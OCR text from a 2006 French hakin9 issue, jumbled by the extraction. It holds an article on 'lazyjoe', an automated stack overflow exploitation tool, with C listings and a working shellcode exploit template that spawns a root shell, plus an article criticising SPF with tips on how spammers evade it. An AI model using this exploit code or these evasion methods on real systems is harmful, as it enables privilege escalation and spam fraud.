Listing 2. Sous-système d'exécution et d'inspection élaboré avec gdb, grep et awk int exec_and_inspect_1(char *buffer, int arg, char *vulnfile) { //retourne : -2 ~ erreur interne // -1 ~ pas de correspondance // 0 ~ correspondance certaine :) // 1 ~ correspondance probable char int FILE u_long

tmp[512], bufresponse[64]; inspec_val, i; *fd; address;

close(2); // gdb imprime vers stderr if( (fd = fopen(CMDF, "w+")) == NULL ) { ttyd = open("/dev/tty", O_RDONLY); fprintf(stderr, "[!] exec_and_inspect_1(): error creating gdb command file.\n"); fflush(stderr); return -2; } fprintf(fd, "r "); for(i = 0; i < arg - 1; i++) fprintf(fd, "foo "); fprintf(fd, "%s\nquit\n", buffer); fclose(fd); CLEAR(tmp); snprintf(tmp, 511, "%s %s --command=%s|%s 0x | %s {'print $1'} > %s", GDB, vulnfile, CMDF, GREP, AWK, RETF); system(tmp); unlink(CMDF); CLEAR(bufresponse); if( (fd = fopen( RETF, "r")) == NULL ) { ttyd = open("/dev/tty", O_RDONLY); fprintf(stderr, "[!] exec_and_inspect_1(): error reading gdb output file.\ n"); fflush(stderr); return -2; } fgets(bufresponse, 63, fd); fclose(fd); address = strtoul(bufresponse, 0, 16); if(verbose) fprintf(stdout, "-> Buffer len: %ld\n", strlen(buffer));

Suite sur la page suivante

tantes de poids afin d'en indiquer le degré de danger et de déterminer l'éventuel remplacement.

Premier algorithme de création de données utiles

Le sous-système responsable de la création de données utiles ne fait

www.hakin9.org

rien de plus que créer des mémoires tampons remplies de A lorsque c'est ce qui lui est ordonné de faire. Une politique relativement facile à comprendre pour produire de telles données utiles est illustrée par la célèbre technique de la force brute. Nous allons créer des mémoires tampons de toutes les longueurs possibles, qui seront ensuite testée l'une après

hakin9 Nº 2/2006

59

Programmation

Listing 2. Sous-système d'exécution et d'inspection élaboré avec gdb, grep et awk (suite) switch( address_status( address ) ) { case 0: // 0x41414141 if( flag == 1 ) { //si 3 bits de poids faible ont été modifiés antérieurement if(verbose) { fprintf(stdout, "-> %%eip status: definately smashed. "); printfixed(address); } inspec_val = 0; } else { // eip correspond avec le premier essai, // ce qui implique deux cas. // premier cas : la commande gdb // – a enregistré un fausse adresse, nous devons donc //continuer // deuxième cas : un contrôle rapide révèle une mémoire // tampon vulnérable if(verbose) { fprintf(stdout, "-> %%eip status: probably smashed. "); printfixed(address); } inspec_val = -1; } break; case 1:// 3 bits de poids faibles ont été modifiés // soit nous sommes sur le point de modifier // %eip au prochain essai, soit // un contrôle rapide correspond au 3/4 de %eip. // Résultat intéressant, nous devons lancer // une tournée supplémentaire pour être sûr. flag = 1; if(verbose) { fprintf(stdout, "-> %%eip status: partially smashed. "); printfixed(address); }

case -1:

default:

inspec_val = -1; break; if(verbose) { if(address) { fprintf(stdout, "-> %%eip status: not smashed. "); printfixed(address); } else fprintf(stdout, "-> %%eip status: not smashed. (unaccessible)\ n"); } inspec_val = -1; break; fprintf(stderr, "[!] I shouldn't be here.\n"); inspec_val = -2;

} unlink(RETF);

}

return inspec_val;

l'autre jusqu'à la détection d'un signe d'alternance ou jusqu'à atteindre la longueur maximum de la mémoire

60

hakin9 Nº 2/2006

tampon dans le champ des essais. Si l'argument est vulnérable, et si notre champ d'essai est compris

www.hakin9.org

dans la même étendue, alors l'alternance délibérée sera définitivement détectée. La Figure 2 illustre cette augmentation par un seul algorithme. Créer des mémoires tampons exponentielles, lorsque l'exposant n'est que d'un octet, présente certains avantages et inconvénients. L'un de ces avantages est que cette méthode permet de réduire la complexité de programmation afin de gagner du temps dans les calculs. Elle offre en réalité une implémentation plus abstraite. Si l'incrémentation est plus importante qu'un seul A, elle accélèrerait définitivement le processus tout en introduisant des conflits avec nos trois états possibles de %eip . N'oubliez surtout pas qu'une alternance est dite délibérée si, et seulement si l'ensemble des quatre octets de %eip a été altéré et si trois des quatre octets ont été altérés lors d'un essai antérieur. Nous avons exposé dans le Listing 1 une implémentation du sous-système de création des données utiles sous forme de composant entièrement réutilisable. Dans la mesure où le code exposé dans le Listing 1 utilise la fonction malloc() pour allouer une mémoire tampon, puis retourne un pointeur vers cette dernière, elle devrait être vidée à un moment donné. Ce qui peut s'effectuer de la manière suivante : char *p; p = make_payload("foo", _APPEND, 1); free(p);

Deuxième algorithme de création de données utiles

Au lieu d'augmenter les données utiles d'un seul A, il est également possible de l'augmenter avec des blocs de A. Toutefois, cette méthode entre en conflit avec nos trois états possibles de %eip. C'est la raison pour laquelle cette méthode n'a pas été implémentée dans l'outil.

Exploitation automatisée

Pour être plus précis, il existe une probabilité considérable que l'état 2 ne soit jamais satisfait, ce qui entraînerait un conflit avec le flux défini du moment des états internes. Au moment de créer des mémoires tampons à partir de blocs de A, la valeur la plus efficace semble être trois A par bloc en termes de rapidité. Et plus particulièrement, la valeur idéale est produite par la formule suivante :

Listing 3. Sous-système d'exécution et d'inspection élaboré avec l'appel de système ptrace int exec_and_inspect_2(char *buffer, int arg, char *vulnfile) { // retourne : -2 ~ erreur interne // -1 ~ pas de correspondance // 0 ~ correspondance :) REGISTERS regs; pid_t pid; int inspec_val = -1, wait_val, i = 1; LLONG counter = 0; char *args[MAX_ARGS] = {NULL}; args[0] = "lazyjoe"; for(i = 1; i <= arg - 1; i++) args[i] = "foo"; args[i] = buffer; args[i+1] = NULL;

block_len = word_size( %eip size in bytes) – 1 <=> (1) block_len = 4 – 1 <=> block_len = 3

switch( pid = fork() ) { case -1: return -2; break; case 0: ptrace(PTRACE_TRACEME, 0, 0, 0); execv(vulnfile, args); break; default: wait(&wait_val); if(verbose) fprintf(stdout, "-> Buffer len: %ld\n", strlen(buffer)); while(wait_val == 1407) { counter++; counter_tot++; if( ptrace(PTRACE_GETREGS, pid, 0, ®s) != 0 ) { fprintf(stderr, "[!] ptrace(): error fetching registers.\n"); fflush(stderr); return -2; } if( ptrace(PTRACE_SINGLESTEP, pid, 0, 0) != 0 ) { fprintf(stderr, "[!] ptrace(): error restarting.\n"); fflush(stderr); return -2; } if(verbose) { fprintf(stdout, "-> eip: %8x\r", regs.eip); fflush(stdout); }

Ce qui nous donne trois ensembles possibles de scénarios pour remplacer %eip. Le cas le plus intéressant s'obtient lorsque %eip est entièrement remplacé et lorsque la longueur des données utiles n'est pas bien ajustée à la distance précise. A ce stade, le sous-système de production de données utiles doit produire un nombre de données utiles réduit. Dans ce cas, l'état 3 obtient la priorité d'occurrence de l'état 2, et vice versa. Finalement, cette méthode apporte de la vitesse, mais entraîne également une génération de données utiles à la fois vers l'avant et l'arrière (voir la Figure 3). Avec une catégorisation appropriée des critères de l'alternance de %eip, cette méthode se révèlerait idéale afin de produire des données utiles au moyen de blocs fixes. N'oubliez pas que cet algorithme n'a pas été retenu dans le code de l'outil. Si cet article vous intéresse, vous pouvez toujours le développer de manière efficace et opérationnelle.

if( regs.eip == 0x41414141 ) { if(verbose) { fprintf(stdout, "-> Number of instructions this round: %ld\n", counter); fprintf(stdout, "-> Total number of instructions: %ld\n", counter_tot); } inspec_val++; //0 kill(pid, SIGKILL); } wait(&wait_val);

Premier algorithme de contrôle Le sous-système d'exécution et d'inspection est de loin le composant le plus important de cet outil car il contient un moteur de décision simple. Son rôle n'est pas passif comme celui du soussystème de production de données utiles. Ce sous-système est chargé

}

} } return inspec_val;

www.hakin9.org

hakin9 Nº 2/2006

61

Programmation

Figure 4. Coopération entre les composants fonctionnels

Figure 6. Méta-modèle abstrait du système dans son ensemble Figure 5. Pile Linux vue du fond Listing 4. Modèle générique de code d'exploitation // notre binaire #define BIN "our_vuln_bin" // valeur hypothétique. Peut être obtenue au moyen des // algorithmes payload_production – exec_and_inspect #define NUM 44 char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\x99\xb0\x0b\xcd\x80" "\x31\xc0\x31\xdb\x40\xcd\x80"; int main(void) { // notre structure d'environnement char *env[2] = {shellcode, 0}; char buffer[NUM + 5]; // notre formule intégrant le code shell unsigned long ret = 0xbffffffa - strlen(shellcode) - strlen(BIN); memset(buffer, 0x41, NUM); *((long *)(buffer + NUM)) = ret; buffer[NUM + 5] = 0x00; // cette ligne est élaborée à partir du sous-système de génération d'exploitation // afin d'inclure tout argument possible sauf à partir des données utiles execle(BIN, BIN, buffer, 0, env); return 0; }

62

hakin9 Nº 2/2006

www.hakin9.org

d'exécuter l'application vulnérable au moyen des données utiles construites dans l'argument approprié, et de décider, en fonction de la valeur de %eip, si les données de sortie désirées doivent être révélées. Ce processus de prise de décision fonctionne grâce à une liste d'heuristiques prioritaires, sous forme toute simple de déclarations de type si-alors. Développer un tel composant en utilisant les outils en ligne de commandes gdb, grep et awk est une méthode très rapide mais incertaine. Une commande valide doit être produite afin que les informations sensibles soient extraites au moyen de canaux de communication. Nous avons exposé dans le Listing 2 une implémentation de cette technique. Les données utiles ainsi que l'argument sur le point d'être testés sont fournis en tant que paramètres de fonction (voir le Listing 2). Le principe de conception général

Exploitation automatisée

Informations sur les tests

Nous avons réalisé les tests sur un ordinateur portable Acer équipé de l'Intel P4, d'une unité centrale de 2,0 Ghz, et d'une RAM partagée de 128 Mo. Le système d'exploitation utilisé était Mandrake 9.0 (Dolphin), exécuté à partir du poste de travail Vmware. Les applications testées étaient disponibles sous forme de packages issus des CD d'installation de Mandrake 9.0.

que l'auteur a adopté ici consiste à retourner les codes de gestion vers la couche précédente (programme d'appel de niveau textuel), laquelle, à son tour, exécute la même opération pour la couche précédente, etc. Cette conception en forme d'arbre offre une grande flexibilité. Ainsi, cette technique présente l'avantage d'offrir une très bonne vitesse de test. Toutefois, elle est extrêmement liée aux applications tierces, dont l'intégrité n'est pas connue.

Figure 7. Essai sur efstool au moyen du mode des canaux de communication

Figure 8. Essai sur ifenslave au moyen du mode des canaux de communication

Deuxième algorithme de contrôle Une seconde implémentation potentielle d'un sous-système d'exécution et d'inspection pourrait reposer sur l'appel du système ptrace(). Cette méthode présente un ensemble correct de fonctionnalités de niveau inférieur, dont certaines seront sans doute adoptées dans l'outil. Enfin, ptrace permet d'activer un processus permettant de contrôler l'exécution d'un autre. Le processus ainsi pisté se comporte normalement, jusqu'à détection

Figure 9. Essai sur ifenslave au moyen du mode ptrace d'un signal. Nous appellerons ptrace() avec PTRACE _ TRACEME en tant que valeur de la requête afin d'activer le contrôle sur les

processus fils. Le dernier processus sera créé au moyen de fork(). PTRACE _ GETREGS nous permettra d'intercepter toutes les valeurs

Tableau 1. Représentation quantitative de la performance de binaires spécialement conçus Argument vulnérable

Mémoire tampon vulnérable

Canaux de communication

Ptrace

1

128 octets

20.41136200 sec

n/a

3

32 octets

7.79432000 sec

457.13281000 sec

5

16 octets

5.24972400 sec

339.47941600 sec

20

16 octets

7.66579100 sec

479.69758100 sec

www.hakin9.org

hakin9 Nº 2/2006

63

Programmation

enregistrées dans une structure d'enregistrement appropriée, et nous assistera dans l'inspection de %eip. Enfin, PTRACE _ SINGLESTEP nous aidera à trouver l'instruction malveillante. Nous avons exposé dans le Listing 3 l'implémentation de cette technique. Notez bien que l'implémentation exposée dans le Listing 3 ne respecte pas la séquence d'occurrences des trois états. En effet, cette technique ne traite pas la manipulation des chaînes, contrairement à la méthode précédente, mais interagit directement sur les valeurs enregistrées. Cette technique et la précédente reçoivent les mêmes informations en paramètres, et produisent les mêmes codes de gestion des erreurs pour une situation donnée. Cette technique est généralement très longue, et il ne vaut mieux pas lui faire confiance en cas de grandes valeurs de la mémoire tampon. Bien que pas suffisamment rapide, en mode prolixe, elle est toutefois très intéressante dans la mesure où elle imprime toutes les valeurs d'instruction passées par %eip lors de la période d'essai. Il s'agit ici de millions, voire plus, d'instructions. Il n'est donc guère encourageant de les connecter. Ces instructions peuvent être utilisées pour identifier les modèles de cadre de pile grâce à une analyse approfondie de l'exécutable.

Coopération des composants fonctionnels

Si ce n'est pas encore clair, la pertinence des actions générées par l'outil dépend grandement d'une coopération des sous-systèmes basée sur leur conception correcte. Les deux sous-systèmes noyaux communiquent entre eux, en envoyant des codes de gestion à leur couche de gestion intermédiaire, c'est-à-dire la fonction find _ dist() (voir le code source pour l'implémentation). Le concept de cette coopération soutenue par les retours est illustré dans la Figure 4.

64

hakin9 Nº 2/2006

À propos de l'auteur

Stavros Lekkas, originaire de Grèce, est étudiant de troisième année à l'Université de Manchester (anciennement appelée l'UMIST). Ses centres de recherches touchent à la cryptographie, la sécurité informatique, l'exploration des données, les mathématiques supérieures (logique et théorie des nombres), ainsi que la complexité des calculs informatiques. Il travaille actuellement sur un mémoire dont le sujet concerne un compilateur.

Le module au nombre 7, tel qu'exposé dans la Figure 4, est chargé d'identifier le statut de %eip sur la base de son heuristique codée en dur. Voici comment fonctionne le processus de prise de décision et comment la distance précise peut être trouvée.

Code d'exploitation

Nous savons désormais déterminer la distance précise via un argument vulnérable. L'étape suivante consiste à activer le sous-système de génération d'exploitation dont le concept devrait être plus facilement compréhensible par rapport à la théorie. Est désigné par code d'exploitation un extrait de code élaboré dans le but que suggère son nom : profiter d'une situation donnée. Laquelle situation provient d'un défaut de programmation. Dans le cadre de notre article, il s'agit d'un argument défectueux sur la pile locale. En exploitant le défaut de programmation, il est ensuite possible d'exécuter les commandes de notre choix. Ces commandes font partie du célèbre interpréteur de commandes du code d'exploitation. On appelle ces commandes shellcode dans la mesure où elles exécutent un nouveau

Sur Internet • • • • •

shell. Elles sont présentées sous forme de format de code machine à l'apparence d'une séquence hexadécimale (voir l'article intitulé Optimisation du shellcode de Linux disponible sur le site Web du magazine hakin9.org). La rédaction d'interpréteurs de commandes ne relevant pas du sujet de notre article, nous supposerons que nous disposons d'un shellcode capable de générer un shell, en éditant les commandes suivantes en séquence : setuid(0); execve ("/bin/sh", 0); exit (0);

Notre objectif consiste à passer dans le programme actuellement vulnérable certains octets trafiqués jusqu'à atteindre la distance désirée. Cette distance représente en effet le début du pointeur de l'instruction (%eip ) qui sera remplacé par une adresse valide dirigée vers notre shellcode. Il s'agit ici d'une partie intéressante. Comment connaître exactement l'adresse à laquelle sera situé notre shellcode ? Est-il possible d'identifier une formule capable de donner une adresse valide et universelle dirigée vers notre shellcode ? A-t-on réellement besoin d'informations

http://www.enderunix.org/docs/eng/bof-eng.txt – article sur les surdébits, http://packetstormsecurity.org/groups/netric/envpaper.pdf – article sur la méthode à succès direct, http://linuxgazette.net/issue81/sandeep.html – pistage de processus au moyen de ptrace, http://www.securityfocus.com/bid/5125 – Informations de Bugtraq sur EFSTool, http://www.securityfocus.com/bid/7682/info – Informations de Bugtraq sur ifenslave.

www.hakin9.org

Exploitation automatisée

spécifiques relatives à notre distribution Linux ? Il est possible de répondre à toutes ces questions en introduisant un modèle générique de code d'exploitation.

Méthode au succès direct En voulant créer un modèle générique de code d'exploitation, nous sommes tombés sur la pile. La pile est structurée de telle sorte qu'elle nous a aidés à trouver une formule universelle. Le haut de la pile varie en fonction de notre programme. Toutefois, la dernière adresse valide dirigée vers l'espace de la pile est déterminée sur 0xbfffffff. Nous avons exposé dans la Figure 5 la pile vue du fond. Les données sont exécutées du fond vers le haut alors que la pile augmente dans le sens contraire, du haut vers le bas. L'environnement se trouve à une distance fixe du fond de la pile, et il est possible de déterminer son nième élément à l'aide de la Figure 5. La formule pour le nième environnement est la suivante : address = 0xbfffffff - 4 - ( strlen(prog_name) + 1 ) - strlen(env[n]); (2)

ce qui équivaut à : address = 0xbffffffa - strlen(prog_name) - strlen(env[n]); (3)

Cet environnement semble être la place idéale pour notre shellcode. Nous pouvons donc insérer notre shellcode dans une structure de l'environnement, puis exécuter le binaire vulnérable au moyen de l'environnement précédent. Pour ce faire, il est possible d'utiliser les fonctions execve() ou execle() tant que leur dernier param ètre est une structure de l'environnement. Cette méthode n'exige aucun code d'opération NOP (0x90) dans la mesure où elle est directement dirigée vers le shellcode dans la pile.

Assemblage des informations collectées

Jusqu'ici, et grâce à tous les défauts rencontrés (Douglas Adams, Le guide du routard galactique, 1984), nous avons réussi à déterminer la distance nécessaire pour atteindre le début de %eip ainsi que notre formule. Nous pouvons désormais créer le modèle de code d'exploitation. Une implémentation opérationnelle de ce modèle devrait ressembler au code exposé dans le Listing 4. L'ensemble des informations pertinentes est déclaré au moyen des déclarations #define . Il s'agit d'un élément extrêmement important car nous pouvons ainsi conserver une partie plus importante de l'exploitation dans un état codé en dur sans avoir à altérer d'autres composants hormis les segments #define . De ce fait, la fonction chargée de générer le code d'exploitation sera conservée pour une utilisation minimale. Nous vous recommandons de la tester, elle ne vous décevra pas. Nous avons exposé dans la Figure 6 une présentation générale de toutes les étapes nécessaires à l'exécution de l'outil.

Exemples concrets

Le 26/05/2003, un surdébit d'une mémoire tampon a été détecté dans la version 0.0.7 d'un programme appelé ifenslave (voir Bugtraq ID 7682). Il s'agit d'un surdébit sur la pile locale provoqué par le premier argument. Le même problème a été signalé avec EFSTool. Ce dernier est vraisemblablement dû, selon le rapport, à un surdébit de la pile le 29/01/2002, et la plupart des distributions RedHat et Mandrake contiennent la version vulnérable (voir Bugtraq ID 5125). Après avoir installé ces applications, nous avons tenté de démontrer si lazyjoe est capable de préparer une exploitation dans ces deux cas. Les Figures 7, 8 et 9 montrent lazyjoe contrôler /usr/bin/efstool et /sbin/ifenslave avec succès. l

www.hakin9.org

hakin9 Nº 2/2006

65

Alentours

L'authentification de l'émetteur, protection ou menace ? Tomasz Nidecki

Degré de difficulté

Le courrier indésirable, l'hameçonnage (phishing) et l'usurpation du domaine émetteur (joe job) posent des menaces croissantes pour la communauté Internet dans son ensemble et l'authentification de l'émetteur est devenue depuis quelque temps un enjeu important pour la messagerie électronique. Or les solutions bricolées pour remédier rapidement aux problèmes résultant des failles et de l'insécurité notoires du protocole SMTP ne font qu'aggraver ces menaces.

I

l est de notoriété publique que le protocole SMTP et tout le système du courrier électronique sur Internet sont absolument désarmés pour contrer des pratiques malveillantes quotidiennes. Quiconque s'investit dans le courrier électronique sait que les tentatives de sécuriser le protocole sont, en réalité, un emplâtre sur une jambe de bois et que la seule manière de combattre efficacement spam, hameçonnage, vols d'identité et autres, est de concevoir un protocole de messagerie électronique radicalement nouveau. Toutefois, les expériences d'introduction de changements fondamentaux au sein de l'infrastructure Internet ont laissé un souvenir cuisant à toutes les parties concernées. D'abord, obtenir un consensus sur les solutions à mettre en place relève du parcours du combattant ; ensuite, même quand une solution adéquate est dégagée, il est quasiment impossible d'amener toutes les parties concernées à l'adopter. DNSSEC en est un bon exemple. Quoique le protocole DNS ne soit pas sûr et requiert une révision complète, les tentatives d'introduction de solutions alternatives plus sûres n'ont connu qu'un succès d'estime.

66

hakin9 Nº 2/2006

C'est donc sans surprise que diverses solutions sont mises au point pour rectifier le protocole SMTP afin d'en renforcer la sécurité, l'enjeu clé portant sur l'authentification de l'émetteur. Mais les organisations et les entreprises qui s'y emploient ressemblent à un chat qui se jetterait tout de go dans un puit parce que l'extrémité de sa queue brûle. Elles ont conscience qu'il faut agir vite pour couper court aux abus et qu'à cette fin, elles doivent recourir autant que faire se peut aux mécanismes en place afin d'assurer une transition sans rupture. Mais elles ne prêtent pas

Cet article explique... • •

les stratégies d'authentification de l'émetteur mises au point et implémentées ; pourquoi l'authentification de l'émetteur ne devrait pas être utilisée tant qu'une solution intelligente n'a pas été trouvée.

Ce qu'il faut savoir... •

www.hakin9.org

connaissance élémentaire du protocole SMTP et du courrier sur Internet.

Avantages et inconvénients de l'authentification de l'émetteur

Pourquoi SPF ne convient pas •

•

•

•

SPF est censé protéger contre la falsification de l'adresse d'un émetteur. Il protège uniquement l'adresse de l'émetteur dans l'enveloppe et non l'adresse fournie dans l'en-tête From:. Les agents utilisateurs de courrier (MUA ou Mail User Agent) comme Outlook Express affichent uniquement l'adresse non protégée. Aussi, les utilisateurs sont toujours induits en erreur et exposés aux adresses usurpées ou fictives, à l'hameçonnage et autres arnaques. SPF est censé protéger contre le spam. Une enquête CipherTrust de 2004 montre que les serveurs protégés par SPF reçoivent davantage de courriers provenant de domaines avec un enregistrement SPF que de ceux sans cet enregistrement. Les spammeurs ont adopté SPF et l'utilisent même davantage que les sites licites pour assurer la livraison de leur courrier indésirable jusque dans les boîtes à lettres. SPF viole de nombreux standards Internet. Il fait peu de cas des principes du pre-delivery forwarding avant livraison et, SRS, un mécanisme censé remédier au problème, est loin d'être parfait. Il repose sur un protocole vulnérable (DNS), de sorte qu'usurper des enregistrements SPF n'a rien de compliqué. SPF ne fournit de protection efficace ni contre l'usurpation d'identité ni contre le spam. Il rend la communication plus difficile. Pourquoi l'utiliser dans ce cas ?

attention aux conséquences qui pourraient s'ensuivre.

SPF – positif, négatif et... inadmissible SPF est une solution d'authentification de l'émetteur qui jouit d'une large popularité ainsi que de nombreuses implémentations. La solution est aujourd'hui mise en œuvre sur de gros serveurs de messagerie bien connus. À l'origine, SPF était l'acronyme de Sender Permitted From mais, le projet gagnant en popularité, il signifie désormais Sender Policy Framework.

L'idée de SPF est très simple. Une méthode a été conçue pour permettre à des serveurs de messagerie de savoir si un serveur qui tente de transmettre un message est réellement autorisé à utiliser le nom de domaine présent dans l'adresse de l'émetteur communiquée dans l'enveloppe. Les spammeurs utilisent de fausses adresses d'émetteurs depuis des années, ordinairement en usurpant des comptes existants ou fictifs chez de grands fournisseurs de services de messagerie gratuits comme Yahoo! ou Hotmail.

Que risque le FAI qui utilise SPF ? •

•

•

•

Aucun courrier provenant de comptes utilisant le pre-delivery forwarding avant livraison ne sera livré. Tout compte qui utilise le pre-delivery forwarding avant livraison se trouvera dans l'incapacité de communiquer avec votre serveur (à moins que SRS, non conforme, ne soit implémenté). Les administrateurs de serveurs de forwarding seront furieux et vous mettront sur liste noire. Vos utilisateurs aussi seront furieux et vous abandonneront pour un autre FAI puisque leurs relations ne pourront plus communiquer avec eux. Si vous rejetez le courriel des domaines sans enregistrement SPF, plus de la moitié des messages adressés à votre serveur seront perdus. Les administrateurs de serveurs de messagerie sans enregistrement SPF seront furieux et vous mettront sur liste noire. Vos utilisateurs aussi seront furieux et choisiront un autre FAI. En utilisant SPF, le message que vous envoyez autour de vous est : D'accord pour communiquer avec moi mais à certaines conditions... Vous voudriez nuire à vos affaires que vous ne vous y prendriez pas autrement. Vous vous attirerez les foudres de vos utilisateurs et d'autres administrateurs de messagerie sans pour autant avoir réglé le problème du spam et des arnaques à destination de votre serveur. Vous perdrez beaucoup d'un côté sans rien gagner de l'autre.

www.hakin9.org

Le protocole SMTP est une aubaine pour eux puisque la seule exigence à satisfaire pour qu'un courrier soit accepté par le destinataire est qu'une adresse d'émission soit fournie. SPF est une méthode qui repose sur l'infrastructure DNS d'aujourd'hui. Les enregistrements DNS d'un domaine donné contiennent des informations spécifiant quels serveurs sont autorisés à utiliser ce domaine dans l'adresse de l'émetteur. Cette approche semble logique : un utilisateur Hotmail enverra plus que probablement ses messages via un serveur SMTP Hotmail et non Yahoo! (encore qu'il n'y ait aucune raison logique pour qu'il n'utilise pas un serveur Yahoo! à cette fin). L'utilisation de l'infrastructure DNS facilite la mise en œuvre de SPF puisqu'aucun mécanisme supplémentaire ne doit être mis en œuvre.

Le côté positif

SPF s'attaque très exactement au problème de l'usurpation de l'identité d'émetteurs de courriers. Si un domaine publie ses données SPF et qu'un serveur destinataire utilise SPF pour l'authentification de l'émetteur, ce serveur n'acceptera jamais de message comportant ce nom de domaine dans l'adresse de l'émetteur de l'enveloppe s'il est usurpé. Par exemple, si eBay a un enregistrement SPF pour ebay.com, c'est le cas, et qu'un hameçonneur tente d'envoyer un courrier d'appât au serveur de messagerie nowhere.com qui est protégé par SPF, c.-à-d. qui vérifie si l'émetteur est autorisé à utiliser une adresse donnée, aucun des utilisateurs de nowhere.com ne recevra les messages d'hameçonnage dont l'adresse de l'émetteur dans l'enveloppe est ebay.com. Il est clair que ce mécanisme ne fonctionnera qu'à la condition que tous les domaines utilisés par le système de messagerie Internet publient leurs enregistrements SPF et que tous les serveurs SMTP destinataires vérifient l'authenticité du courrier au moyen du mécanisme SPF. Or, les administrateurs? de domaines ne sont pas tous sensibles à la nécessité d'utiliser SPF,

hakin9 Nº 2/2006

67

Alentours

et parmi ceux qui le sont, certains ne souhaitent pas l'utiliser, et les logiciels SMTP n'intègrent pas tous le mécanisme de protection de la messagerie par SPF. Il existe bien des solutions qui étendent les capacités des serveurs de messagerie courants mais il s'agit très souvent de simples correctifs, de serveurs proxy ou d'utilitaires complémentaires, pas de fonctionnalités intégrées. Cela rend la tâche de l'administrateur un rien plus complexe lorsqu'il implémente la protection SPF. Tout cela fait de SPF un mécanisme particulièrement inefficace pour l'élimination des pratiques d'usurpation d'adresses de messagerie et l'idée sous-jacente à ce mécanisme est viciée : la garantie d'une protection par SPF ne peut fonctionner que si tout le monde utilisait ce mécanisme, à l'exclusion de toute autre. Or SPF n'a même pas le statut de standard Internet.

Le côté négatif

En réalité, SPF ne protège pas les utilisateurs finaux contre la fraude. Il ne protège nullement contre les vols d'identité ou l'hameçonnage. La raison en est simple. Les logiciels clients de messagerie (MUA ou Mail User Agents) affichent l'adresse de l'émetteur fournie dans l'en-tête From: et non celle de l'émetteur fournie dans l'enveloppe (visible dans l'en-tête Return-Path: d'un message reçu). Un arnaqueur peut fournir une adresse valide d'émetteur dans l'enveloppe et une fausse adresse From: (p. e. [email protected]) dans la partie contenu (les données) du message. Un serveur de messagerie protégé par SPF n'aura d'autre choix que d'accepter un tel message. Dans le cas contraire, il refuserait aussi automatiquement tous les messages des listes de diffusion. Et l'utilisateur verra, lui, l'adresse falsifiée dans son logiciel client, par exemple Outlook Express. L'autre problème de SPF est que, en dépit du fait qu'il a été conçu à l'origine comme un moyen de protection contre le spam, il est très peu efficace dans la réalisation de cette tâche

68

hakin9 Nº 2/2006

Comment spammeurs et arnaqueurs se jouent de SPF •

• •

•

Spammeurs : trouvez un domaine sans enregistrement SPF. Utilisez-le dans l'adresse de l'émetteur de l'enveloppe. La protection SPF est inutile vu que la majorité des serveurs protégés par SPF acceptent le courriel provenant de domaines sans enregistrement SPF. Spammeurs : envoyez votre courriel avec une adresse d'émetteur <> dans l'enveloppe (adresse qui doit être acceptée en vertu de la RFC). Spammeurs : achetez pour 8 dollars le domaine à utiliser pour une campagne de pollupostage, utilisez un fournisseur de DNS gratuit, publiez un enregistrement SPF pour le domaine et lancez votre campagne. Toute protection SPF s'avère vaine. Arnaqueurs : trouvez un domaine sans enregistrement SPF, utilisez un compte factice pour ce domaine dans l'adresse de l'émetteur de l'enveloppe et une adresse factice (p. e. [email protected] dans l'en-tête From:. Les utilisateurs finaux ne verront que l'adresse factice.

et ne mérite pas d'être désigné comme un outil de lutte contre le spam. C'est un moyen de lutte contre l'usurpation d'identité, censé protéger le propriétaire d'un domaine contre l'utilisation de ce dernier à des fins malveillantes. Il est capable de protéger le destinataire contre la réception de messages émanant d'adresses usurpées (uniquement pour les adresses d'émetteurs dans les enveloppes). Il n'empêchera ni aujourd'hui ni demain les spammeurs de polluer nos boîtes à lettres. Pour comprendre pourquoi, nous devons d'abord jeter un œil sur l'état de l'implémentation de SPF. Partons d'une hypothèse très optimiste, à savoir que la moitié des domaines utilisés pour l'échange de messages sur Internet ont publié leurs données SPF (en réalité, cela doit tourner autour des 10%, les chiffres livrés par CipherTrust pour la fin 2004 indiquant que seuls 5 % des domaines publiaient ces données) et que la moitié des serveurs de messagerie sont protégés par SPF. Un serveur protégé aura le choix entre deux stratégies vis-à-vis des domaines sans enregistrement SPF. Accepter le courriel provenant de ces domaines ou le refuser. Comme une moitié des domaines, d'après notre hypothèse optimiste, ne publie pas d'enregistrements SPF, un serveur protégé qui refuserait le courriel en provenance de ces domaines ne délivrerait jamais la moitié

www.hakin9.org

des messages reçus. Aucun serveur de messagerie ne peut se permettre un tel choix et forcer quelqu'un à publier son enregistrement SPF aux seules fins de pouvoir communiquer avec lui. Ce n'est pas la solution. Cela violerait les principes généraux de la messagerie sur Internet et favoriserait un monopole de SPF. Rappelons que nous nous basons sur une hypothèse optimiste ; dans le monde réel, il serait suicidaire pour l'administrateur d'un serveur de messagerie de refuser le courriel de domaines sans SPF. Autant fermer son service de messagerie. Voyons pour l'autre stratégie, qui serait d'accepter le courriel des domaines sans enregistrement SPF. Dans ce cas, il devient très simple pour un spammeur d'envoyer du spam au serveur. Tout ce dont il a besoin, c'est de trouver un domaine sans enregistrement SPF et d'utiliser ce domaine dans l'adresse de l'émetteur. Le courriel sera accepté par le serveur de messagerie. Une autre chose que notre spammeur peut faire, c'est d'utiliser une adresse d'émetteur spéciale dans l'enveloppe : <>. En vertu de la RFC, une telle adresse, vierge de tout nom de domaine, doit être acceptée. Enfin, rien n'empêche le spammeur d'acheter un domaine, de publier un enregistrement SPF pour ce domaine et de permettre à quiconque de l'utiliser pour la falsification d'adresses d'émetteurs. L'enquête de 2004

Safety Lab SAFETY LAB SHADOW SECURITY SCANNER Shadow Security Scanner de Safety Lab est un scanneur proactif, capable de traiter les vulnérabilités de sécurité sur les réseaux informatiques, grâce à plus de 4 000 audits. Il s'agit d'une nouvelle génération de logiciels haute technologie (scanneurs de traitement des vulnérabilités réseau), déjà remarquée le siècle dernier et sur le devant de la scène à l'entrée de ce nouveau millénaire ! Shadow Security Scanner (scanneur de traitement des vulnérabilités réseau) a reçu le titre de scanneur sécuritaire le plus rapide et le plus performant du marché, dépassant de nombreuses autres marques connues. Shadow Security Scanner a été développé dans le but de proposer une détection sécurisée, rapide, fiable et opérationnelle sur une large variétés de défauts présents dans les systèmes de sécurité. Après avoir procédé à un scan complet du système, Shadow Security Scanner analyse ensuite les données ainsi collectées, localise les vulnérabilités ainsi que les éventuelles erreurs issues des options de réglages du serveur, puis suggère les solutions possibles permettant de résoudre les problèmes rencontrés. Shadow Security Scanner a recours à un algorithme d'analyse de la sécurité des systèmes unique basé 